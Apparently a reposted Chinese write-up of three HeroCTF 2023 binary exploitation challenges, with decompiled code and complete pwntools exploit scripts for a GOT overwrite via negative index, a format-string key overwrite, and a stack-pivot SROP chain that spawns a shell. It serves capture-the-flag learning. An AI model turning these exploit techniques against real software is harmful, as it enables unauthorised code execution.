CTF 2023 三道pwn题

news2024/12/26 9:16:33

作者丨selph

appointment_book

程序信息

程序保护信息:

➜ HeroCTF checksec appointment_book
[*] '/home/selph/ctf/HeroCTF/appointment_book'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

这里其实已经给出提示了,没有Relocation Read-Only,没有PIE,说明可以去修改got表项,当时咋就没想到呢hhhh

程序运行信息:

***** Select an option *****
1) List appointments
2) Add an appointment
3) Exit

Your choice: 2
[+] Enter the index of this appointment (0-7): 0
[+] Enter a date and time (YYYY-MM-DD HH:MM:SS): 1111-11-11 22:22:22
[+] Converted to UNIX timestamp using local timezone: -27080300601
[+] Enter an associated message (place, people, notes...): YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY

***** Select an option *****
1) List appointments
2) Add an appointment
3) Exit

Your choice: 1

[+] List of appointments:
- Appointment n°1:
    - Date: 1111-11-11 22:22:22
    - Message: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY

- Appointment n°2:
    [NO APPOINTMENT]
- Appointment n°3:
    [NO APPOINTMENT]
- Appointment n°4:
    [NO APPOINTMENT]
- Appointment n°5:
    [NO APPOINTMENT]
- Appointment n°6:
    [NO APPOINTMENT]
- Appointment n°7:
    [NO APPOINTMENT]
- Appointment n°8:
    [NO APPOINTMENT]

***** Select an option *****
1) List appointments
2) Add an appointment
3) Exit

逆向分析

主程序:就是提供个菜单项,主要功能在菜单函数内

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // rax
  int v4; // [rsp+4h] [rbp-Ch]
  time_t v5; // [rsp+8h] [rbp-8h]

  memset(&appointments, 0, 0x80uLL);
  puts("========== Welcome to your appointment book. ==========");
  v5 = time(0LL);
  v3 = timestamp_to_date(v5);
  printf("\n[LOCAL TIME] %s\n", v3);
  fflush(stdout);
  while ( 1 )
  {
    v4 = menu();
    if ( v4 == 3 )
    {
      puts("\n[+] Good bye!");
      fflush(stdout);
      exit(1);
    }
    if ( v4 > 3 )
    {
LABEL_10:
      puts("\n[-] Unknwon choice\n");
      fflush(stdout);
    }
    else if ( v4 == 1 )
    {
      list_appointments();
    }
    else
    {
      if ( v4 != 2 )
        goto LABEL_10;
      create_appointment();
    }
  }
}

list_appointments函数:这里只是展示结构体保存的内容,没有什么特别的

int list_appointments()
{
  int result; // eax
  char *v1; // rax
  int i; // [rsp+4h] [rbp-Ch]
  const char **v3; // [rsp+8h] [rbp-8h]

  puts("\n[+] List of appointments: ");
  result = fflush(stdout);
  for ( i = 0; i <= 7; ++i )
  {
    v3 = (const char **)((char *)&appointments + 16 * i);
    printf("- Appointment n°%d:\n", (unsigned int)(i + 1));
    if ( v3[1] )
    {
      v1 = timestamp_to_date((time_t)*v3);
      printf("\t- Date: %s\n", v1);
      printf("\t- Message: %s\n", v3[1]);
    }
    else
    {
      puts("\t[NO APPOINTMENT]");
    }
    result = fflush(stdout);
  }
  return result;
}

create_appointment():这里是向结构体里填充内容,但不存在堆栈相关漏洞

这里的结构体是在IDA里手动创建的,打开结构体窗口,然后右键创建即可

unsigned __int64 create_appointment()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-24h] BYREF
  void *tmp_data; // [rsp+10h] [rbp-20h]
  char *content; // [rsp+18h] [rbp-18h]
  Appointment *v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  tmp_data = malloc(0x20uLL);
  content = (char *)malloc(0x40uLL);            // 可以申请一堆,导致内存泄露,但没啥用
  memset(tmp_data, 0, 0x20uLL);
  memset(content, 0, 0x40uLL);
  do
  {
    printf("[+] Enter the index of this appointment (0-7): ");
    fflush(stdout);
    __isoc99_scanf("%d", &i);
    getchar();
  }
  while ( i > 7 );              // 【关键点!!!!!】
  v5 = &appointments[i];
  printf("[+] Enter a date and time (YYYY-MM-DD HH:MM:SS): ");
  fflush(stdout);
  fgets((char *)tmp_data, 0x1E, stdin);
  v0 = date_to_timestamp((__int64)tmp_data);    // 接收到一个数字
  v5->time = v0;                                // 保存到v5第一个成员
  printf("[+] Converted to UNIX timestamp using local timezone: %ld\n", v5->time);
  printf("[+] Enter an associated message (place, people, notes...): ");
  fflush(stdout);
  fgets(content, 0x3E, stdin);                  // 写内容到chunk
  v5->pMessage = (__int64)content;              // 只能申请chunk,不能释放,赋值一个指针
  free(tmp_data);
  return v6 - __readfsqword(0x28u);
}

这里的一个小细节,反而是这个题目的关键点!!!:

do
  {
    printf("[+] Enter the index of this appointment (0-7): ");
    fflush(stdout);
    __isoc99_scanf("%d", &i);
    getchar();
  }
  while ( i > 7 );      

这是中间的一段循环,意思是,如果输入的索引超过了索引上限,则要求重新输入,但是这里输入可以为负数!

程序里还有个辅助函数:

.text:0000000000401336 ; Attributes: bp-based frame
.text:0000000000401336
.text:0000000000401336 ; int debug_remote()
.text:0000000000401336 public debug_remote
.text:0000000000401336 debug_remote proc near
.text:0000000000401336 ; __unwind {
.text:0000000000401336 endbr64
.text:000000000040133A push    rbp
.text:000000000040133B mov     rbp, rsp
.text:000000000040133E lea     rax, command    ; "/bin/sh"
.text:0000000000401345 mov     rdi, rax        ; command
.text:0000000000401348 call    _system
.text:000000000040134D nop
.text:000000000040134E pop     rbp
.text:000000000040134F retn
.text:000000000040134F ; } // starts at 401336
.text:000000000040134F debug_remote endp

当这里输入为负数,则绕过了索引值合法性的检查,使用负数索引,会导致索引到数组之前的地址上面,然后对其进行编辑

这里的思路就是,通过输入一个负数索引,让数组索引到got表项上,然后修改got表项的值为该辅助函数,最后触发拿到shell

利用

查看该数组所在的地址:0x0000000004037A0

查看got表项地址:

.got.plt:0000000000403740 A0 38 40 00 00 00 00 00       off_403740 dq offset strftime           ; DATA XREF: _strftime+4↑r
.got.plt:0000000000403748 A8 38 40 00 00 00 00 00       off_403748 dq offset __isoc99_scanf     ; DATA XREF: ___isoc99_scanf+4↑r
.got.plt:0000000000403750 B0 38 40 00 00 00 00 00       off_403750 dq offset exit               ; DATA XREF: _exit+4↑r

计算中间的距离:0x50,刚好只需要输入为索引-5即可让time字段覆盖到exit函数上,只需要计算一下时间戳的转换即可:

 

这里有一个点就是,不同时区计算出来的结果是不同的,要在比赛中用上,需要使用比赛所在地的时区

这里本地利用,只需要使用本地时间即可,利用脚本:

#!/bin/python3
from pwn import *

FILE_NAME = "./appointment_book"
REMOTE_HOST = ""
REMOTE_PORT = 0


elf = context.binary = ELF(FILE_NAME)

gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

io = start()

# =============================================================================
# ============== exploit ===================

io.sendline(b"2")
io.sendline(b"-5")
io.sendline(b"1970-02-18 22:27:02")
io.sendline(b"junk data")
io.sendline(b"3")

# =============================================================================

io.interactive()

运行结果:

➜ HeroCTF python3 appointment.py
[*] '/home/selph/ctf/HeroCTF/appointment_book'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/home/selph/ctf/HeroCTF/appointment_book': pid 19621
[*] Switching to interactive mode
========== Welcome to your appointment book. ==========

[LOCAL TIME] 2023-05-16 11:02:54

***** Select an option *****
1) List appointments
2) Add an appointment
3) Exit

Your choice: [+] Enter the index of this appointment (0-7): [+] Enter a date and time (YYYY-MM-DD HH:MM:SS): [+] Converted to UNIX timestamp using local timezone: 4199222
[+] Enter an associated message (place, people, notes...):
***** Select an option *****
1) List appointments
2) Add an appointment
3) Exit

Your choice:
[+] Good bye!
$ w
 11:02:56 up  8:17,  1 user,  load average: 0.01, 0.13, 0.15
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
selph    tty2     tty2             六14    2days  0.01s  0.01s /usr/libexec/gnome-session-binary --session=ubuntu

impossible_v2

时间花在了,格式化字符串和AES算法上

程序信息

安全选项:无PIE,其他基本上都开了

➜ HeroCTF checksec impossible_v2
[*] '/home/selph/ctf/HeroCTF/impossible_v2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

运行:

➜ HeroCTF ./impossible_v2
I've implemented a 1-block AES ECB 128 cipher that uses a random key.
Try to give me a message such as AES_Encrypt(message, key) = 0xdeadbeefdeadbeefcafebabecafebabe.
(don't try too much, this is impossible).

Enter your message: good
Do you want to change it ? (y/n) y
Enter your message (last chance): asd
So, this is your final message: 6173640a000000000000000000000000000000000000000000000000000000000000000000000000

Well, I guess you're not this smart :)

提示的很明显,这里进行了一次AES ECB模式 128位的加密,使用的是随机的Key,要求最后加密的结果为0xdeadbeefdeadbeefcafebabecafebabe才行

逆向分析

程序流程全在main函数里,比较简单:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+3h] [rbp-3Dh]
  char v5; // [rsp+3h] [rbp-3Dh]
  int i; // [rsp+4h] [rbp-3Ch]
  FILE *streama; // [rsp+8h] [rbp-38h]
  FILE *stream; // [rsp+8h] [rbp-38h]
  char input[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v10; // [rsp+38h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  puts(
    "I've implemented a 1-block AES ECB 128 cipher that uses a random key.\n"
    "Try to give me a message such as AES_Encrypt(message, key) = 0xdeadbeefdeadbeefcafebabecafebabe.\n"
    "(don't try too much, this is impossible).\n");
  fflush(stdout);
  streama = fopen("/dev/urandom", "rb");
  fread(key, 0x10uLL, 1uLL, streama);           // key是随机数
  fclose(streama);
  printf("Enter your message: ");
  fflush(stdout);
  fgets(input, 40, stdin);
  sprintf(message, input);                      // 格式化字符串漏洞
  printf("Do you want to change it ? (y/n) ");
  fflush(stdout);
  v4 = getc(stdin);
  getc(stdin);
  if ( v4 == 'y' )
  {
    printf("Enter your message (last chance): ");
    fflush(stdout);
    fgets(input, 40, stdin);
    sprintf(message, input);                    // 再次输入的机会
  }
  printf("So, this is your final message: ");
  for ( i = 0; i <= 39; ++i )
    printf("%02x", (unsigned __int8)message[i]);
  puts("\n");
  fflush(stdout);
  AES_Encrypt((__int64)message, key);           // AES加密
  if ( !memcmp(message, expected, 0x10uLL) )    // 用户输入的加密结果和预置比对
  {
    puts("WHAT ?! THIS IS IMPOSSIBLE !!!");
    stream = fopen("flag.txt", "r");
    while ( 1 )
    {
      v5 = getc(stream);
      if ( v5 == -1 )
        break;
      putchar(v5);
    }
    fflush(stdout);
    fclose(stream);
  }
  else
  {
    puts("Well, I guess you're not this smart :)");
    fflush(stdout);
  }
  return 0;
}

首先是生成了一个随机数,保存在全局变量key中,然后使用该key加密用户输入的信息,和预置值进行比对

这里整个流程下来,可以输入两次信息,这里错误使用sprintf的参数,导致格式化字符串漏洞

所以思路就很简单了:

1. 通过格式化字符串漏洞,修改key的值为固定值(注意,这里的key长度为16字节)

2. 通过key和加密结果进行AES解密,拿到正确的输入

利用

#!/bin/python3
from pwn import *
from Crypto.Cipher import AES

FILE_NAME = "impossible_v2"
REMOTE_HOST = "static-03.heroctf.fr"
REMOTE_PORT = 5001

elf = context.binary = ELF(FILE_NAME)

gs = '''
continue
b* 0x00401369
b* 0x00401490
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)


io = start()

password = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
text = b"\xDE\xAD\xBE\xEF\xDE\xAD\xBE\xEF\xCA\xFE\xBA\xBE\xCA\xFE\xBA\xBE"
aes = AES.new(password,AES.MODE_ECB)
input = aes.decrypt(text)

# ============== exploit ===================

key = 0x004040c0
io.sendline(b'%09$lln%10$lln..' + pack(key)+pack(key+8))
io.sendline(b'y')
io.sendline(input)
print(input)

# =============================================================================

io.interactive()

执行结果:

➜ HeroCTF python3 impossible.py
[*] '/home/selph/ctf/HeroCTF/impossible_v2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/selph/ctf/HeroCTF/impossible_v2': pid 21746
b'M\xaadj\xa2\xb5\xe3-\x10v\xa9\xe6\xbf\xa5\xe2\xba'
[*] Switching to interactive mode
I've implemented a 1-block AES ECB 128 cipher that uses a random key.
Try to give me a message such as AES_Encrypt(message, key) = 0xdeadbeefdeadbeefcafebabecafebabe.
(don't try too much, this is impossible).

Enter your message: Do you want to change it ? (y/n) Enter your message (last chance): So, this is your final message: 4daa646aa2b5e32d1076a9e6bfa5e2ba0a0000000000000000000000000000000000000000000000

WHAT ?! THIS IS IMPOSSIBLE !!!

RopeDancer

程序信息

安全选项:全都没有,呦呵,有蹊跷

➜ HeroCTF checksec ropedancer
[*] '/home/selph/ctf/HeroCTF/ropedancer'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

运行:就只是单纯的输入一次字符串,疑似栈溢出

➜ HeroCTF ./ropedancer
Hello. So, you want to be a ROPedancer? no
Well, let me know if you change your mind.

逆向分析

IDA打开一看,只有4个函数,是不妙的感觉


_exit  .text  0000000000401085 00000009          .   .   .   .   .   .   T   .
_start .text  0000000000401016 0000006F   00000004      .   .   .   .   .   .   .   .
check_email   .text  0000000000401000 00000016   00000000      R   .   .   .   .   .   T   .
get_motivation_letter   .text  000000000040108E 0000008B   00000018      R   .   .   .   .   B   T   .

首先是get_motivation_letter:

signed __int64 get_motivation_letter()
{
  signed __int64 v0; // rax
  signed __int64 v1; // rax
  signed __int64 result; // rax
  char v3[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, v3, 0x64uLL);                // 栈溢出
  if ( (unsigned int)check_email(v3) )          // 判断是否有@
  {
    __asm { syscall; LINUX - sys_write }        // 输出提示信息
    v1 = sys_read(0, motivation_letter, 0x1F4uLL);// 可以写入一堆东西
    return sys_write(1u, "We will get back to you soon. Good bye.\n", 0x29uLL);
  }
  else
  {
    result = 1LL;
    __asm { syscall; LINUX - sys_write }        // write(0,string,0x31)
  }
  return result;
}

这里是一个栈溢出,但是能溢出的字节并不多

然后经过一个判断,就只是判断字符串里是否包括@符号,无关紧要

通过判断之后,通过syscall输出提示信息,然后再次读取输入到全局变量里,这次读取的范围很大

大概流程就是这样,其他的函数没啥看的

利用

这个题的关键是rop,问题就在于几乎没什么跳板指令可以使用:

➜ HeroCTF ROPgadget --binary ropedancer --only "pop|ret"
Gadgets information
============================================================
0x0000000000401117 : pop rbp ; ret
0x0000000000401015 : ret

Unique gadgets found: 2
➜  HeroCTF ROPgadget --binary ropedancer --only "mov|ret"
Gadgets information
============================================================
0x0000000000401015 : ret

Unique gadgets found: 1
➜  HeroCTF ROPgadget --binary ropedancer --only "syscall"
Gadgets information
============================================================
0x000000000040102f : syscall

Unique gadgets found: 1

无法控制传参寄存器rdx rdi rsi rcx的值,无法通过rop去进行syscall执行execve,因为栈和数据区不可执行,也无法写入shellcode跳转执行

但是这里存在syscall,且无PIE,看看能不能控制rax的值,如果能控制rax的值为0xf,就有可能可以进行srop

SROP的条件:存在栈溢出,rax的值可控,知道一个填充了/bin/sh字符串的地址

再次搜索,找到了两个跳板指令可以修改rax的值:

0x0000000000401013 : inc al ; ret
0x0000000000401011 : xor eax, eax ; inc al ; ret

进行srop需要向栈里填充一堆东西,当前的溢出大小肯定是不够的,那就需要进行一次栈迁移,把栈扩大

刚好这里提供了一个很大的全局变量可供控制,那就正好可以把栈迁移过去

栈迁移通过两个跳板指令即可完成:

0x0000000000401114 : mov rsp, rbp ; pop rbp ; ret
0x0000000000401117 : pop rbp ; ret

这两个指令,如果存在正常的函数返回,那基本上一定会存在的

解题脚本:

#!/bin/python3
from pwn import *

FILE_NAME = "./ropedancer"
REMOTE_HOST = "static-03.heroctf.fr"
REMOTE_PORT = 5002

elf = context.binary = ELF(FILE_NAME)
libc = elf.libc

gs = '''
continue
b* 0x00401118
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# =======================================

io = start()

# =============================================================================
# ============== exploit ===================


new_stack = 0x00000000040312C+8

# stack povit
inp = b"@"*0x17
rop = b""

mov_rsp_rbp = 0x0000000000401114 # mov rsp, rbp ; pop rbp ; ret
pop_rbp = 0x0000000000401117 # pop rbp ; ret
rop += pack(pop_rbp) + pack(new_stack)
rop += pack(mov_rsp_rbp)

io.sendline(b'yes\n')
io.sendline(inp+rop)


# srop

xor_eax_inc = 0x0000000000401011 # xor eax, eax ; inc al ; ret
inc_eax = 0x0000000000401013 # inc al ; ret
syscall = 0x000000000040102f # syscall
str_addr = new_stack-8

frame = SigreturnFrame()
frame.rip = syscall
frame.rax = 0x3b
frame.rdi = str_addr
frame.rsi = 0
frame.rdx = 0

# set rax = 9
rop2 = b"/bin/sh\x00"
rop2 += pack(new_stack + 400)
rop2 += pack(xor_eax_inc)
rop2 += pack(inc_eax)*0xe

# trigger srop
rop2 += pack(syscall)
rop2 += bytes(frame)
io.sendline(rop2)


# =============================================================================

io.interactive()

运行:

➜ HeroCTF python3 ropedancer.py
[*] '/home/selph/ctf/HeroCTF/ropedancer'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Starting local process '/home/selph/ctf/HeroCTF/ropedancer': pid 22172
 
[*] Switching to interactive mode
Hello. So, you want to be a ROPedancer? \x00lright. Please enter an email on which we can contact you: \x00hanks. You have 400 characters to convince me to hire you: \x00e will get back to you soon. Good bye.
\x00$ w
 14:52:34 up 10:40,  1 user,  load average: 0.81, 0.54, 0.41
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
selph    tty2     tty2             Sat14    3days  0.01s  0.01s /usr/libexec/gnome-session-binary --session=ubuntu

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/566920.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

报名仅剩十天!又一开发者公布高分方案源代码,助力软件杯选手高效解题

‍‍ 本文作者&#xff1a;艾宏峰 算法工程师 M6 Global赛道总排名4th KDD Cup 2022风电功率预测飞桨赛道5th “中国软件杯”大学生软件设计大赛——龙源风电赛道&#xff0c;5月31日预选赛截止&#xff0c;80%选手将晋级区域赛&#xff0c;欢迎大家抓紧报名&#xff01; 赛题背…

如何编写快速高效的SQL查询(二)——为什么查询速度会慢与优化数据访问样例

为什么查询速度会慢&#xff1f; 我们现在已经知道MySQL优化器帮我们做了什么了&#xff0c;在尝试编写快速的查询之前&#xff0c;需要清楚一点&#xff0c;真正重要的是响应时间。如果把查询看作一个任务&#xff0c;那么它由一系列子任务组成&#xff0c;每个子任务都会消耗…

Django+mysql+bootstrap学习

python与mysql 创建表结构 create databse unicom DEFAULT CHARSET utf8 COLLATE utf8_general_ci; use unicom; create table admin(id int not null auto_increment primary key,username varchar(16) not null,password varchar(64) not null,mobile char(11) not null )…

Cesium源码分享--量算

Cesium量算插件 在线体验 gitee&#xff1a;https://gitee.com/caozl1132/CesiumExp-measure github&#xff1a;https://github.com/gitgitczl/CesiumExp-measure ps&#xff1a;如果可以的话&#xff0c;希望大家能给我个star&#xff0c;好让我有更新下去的动力&#xff1…

基于SSM的果蔬经营平台系统

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#xff1a;是 前言…

Axure教程—动态多散点图(中继器)

本文将教大家如何用AXURE制作动态多散点图 一、效果介绍 如图&#xff1a; 预览地址&#xff1a;https://w8j93u.axshare.com 下载地址&#xff1a;https://download.csdn.net/download/weixin_43516258/87817783 二、功能介绍 简单填写中继器内容即可生成动态多散点图样式…

ChatGpt国内免费网站大全+个人体会

目录 ChatGpt ChatGpt迭代历史 部分ChatGpt个人体会 ChatGpt合集 ChatGpt2步制作流程图与思维导图&#xff0c;你确定不来看一下吗? 当然&#xff0c;你可以自行注册使用ChatGpt&#xff08;亲测有效&#xff09; ChatGpt ChatGPT是由OpenAI开发的一种大型语言模型&#…

《The Element of Style》阅读笔记 —— 章节 II Elementary Principles of Composition

前言&#xff1a;本篇为书籍《The Element of Style》第二章的阅读笔记。 本书电子版链接&#xff1a;http://www.jlakes.org/ch/web/The-elements-of-style.pdf 章节 I Elementary Rules of Usage 阅读笔记&#xff1a;链接 Content II Elementary Principles of Composition…

这些脑洞大开的论文标题,也太有创意了O(∩_∩)O

microRNAs啊microRNAs&#xff0c;谁是世界上最致命的髓母细胞瘤microRNAs&#xff1f; 这个标题很容易让人联想到白雪公主后妈说的那句话&#xff1a;Mirror mirror on the wall, who is the fairest of them all? 02 一氧化碳&#xff1a;勇踏NO未至之境 NO 指 nitric oxide…

Spring Boot中使用Spring Batch处理批量任务

Spring Boot中使用Spring Batch处理批量任务 Spring Batch是Spring框架的一个模块&#xff0c;它提供了一组API和工具&#xff0c;用于处理批量任务。在本文中&#xff0c;我们将会介绍如何在Spring Boot中使用Spring Batch来处理批量任务。我们将会使用一个简单的示例来说明如…

在现有iOS项目中,接入新的Flutter项目或现有的Flutter项目

文章参考自Flutter官网&#xff1a;进入Flutter官网 目录 一、背景 二、在现有iOS项目中&#xff0c;接入新的Flutter工程 1、创建新的Flutter工程 2、将iOS工程与Flutter工程进行关联 三、在现有iOS项目中&#xff0c;接入现有的Flutter工程 1、修改Flutter工程中的pub…

如何提高程序员的代码质量?

作为一名程序员&#xff0c;我们需要不断学习、探索新的技术&#xff0c;以便编写出高质量、可维护、安全且高效的代码。但是&#xff0c;即使是经验丰富的程序员也容易遇到一些技术陷阱&#xff0c;这些陷阱可能会导致运行时错误、性能问题或安全漏洞。下面是一些程序员绝对不…

DSOL:一种快速的直接稀疏里程计方案

文章&#xff1a;DSOL: A Fast Direct Sparse Odometry Scheme 作者&#xff1a;Chao Qu, Shreyas S. Shivakumar, Ian D. Miller and Camillo J. Taylor 编辑&#xff1a;点云PCL 代码&#xff1a;https://github.com/versatran01/dsol.git 来源&#xff1a;arXiv2022 欢迎各位…

Elastic 发布 Elasticsearch Relevance Engine™ — 为 AI 革命提供高级搜索能力

作者&#xff1a;Matt Riley 今天我们将向大家介绍 Elasticsearch Relevance Engine™&#xff08;ESRE™&#xff09;&#xff0c;这是一种创建高度相关的 AI 搜索应用程序的新功能。ESRE 建立在 Elastic 在搜索领域的领导地位以及超过两年的机器学习研究和开发基础之上。Elas…

Java agent入门及demo示例(附源码)

这里是weihubeats,觉得文章不错可以关注公众号小奏技术&#xff0c;文章首发。拒绝营销号&#xff0c;拒绝标题党 背景 继之前我们研究了下skywalking是什么以及skywalking如何监控skywalking 我们并没有探讨过多的skywalking原理 实际上skywalking的实现原理就是java的agent…

Android 12系统源码_窗口管理(一)WindowManagerService的启动流程

前言 WindowManagerService是Android系统中重要的服务&#xff0c;它是WindowManager的管理者&#xff0c;WindowManagerService无论对于应用开发还是Framework开发都是重要的知识点&#xff0c;究其原因是因为WindowManagerService有很多职责&#xff0c;每个职责都会涉及重要…

RabbitMQ发送方确认机制

1、前言 RabbitMQ消息首先发送到交换机&#xff0c;然后通过路由键【routingKey】和【bindingKey】比较从而将消息发送到对应的队列【queue】上。在这个过程有两个地方消息可能会丢失&#xff1a; 消息发送到交换机的过程。消息从交换机发送到队列的过程。 而RabbitMQ提供了…

中国移动董宁:深耕区块链的第八年,我仍期待挑战丨对话MVP

区块链技术对于多数人来说还是“新鲜”的代名词时&#xff0c;董宁已经成为这项技术的老朋友。 董宁2015年进入区块链领域&#xff0c;现任中国移动研究院技术总监、区块链首席专家。作为“老友”&#xff0c;董宁见证了区块链技术多个爆发式增长和平稳发展的阶段&#xff0c;…

基于STC8G1K08A的水压检测系统

基于STC8G1K08A的水压检测系统 前言先来一饱眼福设计和硬件的选型压力传感器选择单片机的选择WIFI透传模块选择 核心代码的开发STC8G1K08A单片机代码读取水压传感器的电压计算对应电压水的压力值猪场水压正常、漏水、喝光水提醒功能的实现 数据通过ESP8266上报到云端代码的实现…

低功耗定时器(LPTIMER)

概述 LPTIM 是运行在Always-On 电源域下的16bits 低功耗定时/计数器模块。通过选择合适的工作时钟&#xff0c;LPTIM 在在各种低功耗模式下保持运行&#xff0c;并且只消耗很低的功耗。LPTIM 甚至可以在没有内部时钟的条件下工作&#xff0c;因此可实现休眠模式下的外部脉冲计数…